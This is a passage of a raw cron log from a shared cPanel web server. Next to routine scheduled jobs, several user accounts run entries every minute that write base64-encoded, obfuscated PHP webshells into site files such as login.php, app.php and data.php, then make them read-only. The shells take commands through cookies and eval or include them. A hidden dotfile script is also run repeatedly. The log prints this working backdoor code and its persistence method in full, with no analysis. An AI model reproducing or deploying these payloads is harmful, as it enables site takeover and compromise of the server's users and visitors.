x0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:21:02 medusa CROND[20036]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:21:02 medusa CROND[20038]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:21:02 medusa CROND[20041]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:22:01 medusa CROND[10008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:22:01 medusa CROND[10010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:22:01 medusa CROND[10032]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:22:01 medusa CROND[10033]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:22:01 medusa CROND[10035]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:22:01 medusa CROND[10036]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:22:01 medusa CROND[10037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:22:01 medusa CROND[10038]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:22:01 medusa CROND[10039]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:22:01 medusa CROND[10043]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:22:01 medusa CROND[10050]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:22:01 medusa CROND[10052]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:22:01 medusa CROND[10062]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:22:01 medusa CROND[10063]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:23:01 medusa CROND[30582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:23:01 medusa CROND[30603]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:23:01 medusa CROND[30623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:23:01 medusa CROND[30625]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:23:01 medusa CROND[30624]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:23:01 medusa CROND[30627]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:23:01 medusa CROND[30628]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:23:01 medusa CROND[30629]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:23:01 medusa CROND[30631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:23:01 medusa CROND[30642]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:23:01 medusa CROND[30638]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:23:01 medusa CROND[30647]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:24:01 medusa CROND[20978]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:24:01 medusa CROND[20979]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:24:01 medusa CROND[20980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:24:01 medusa CROND[20982]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:24:01 medusa CROND[20988]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
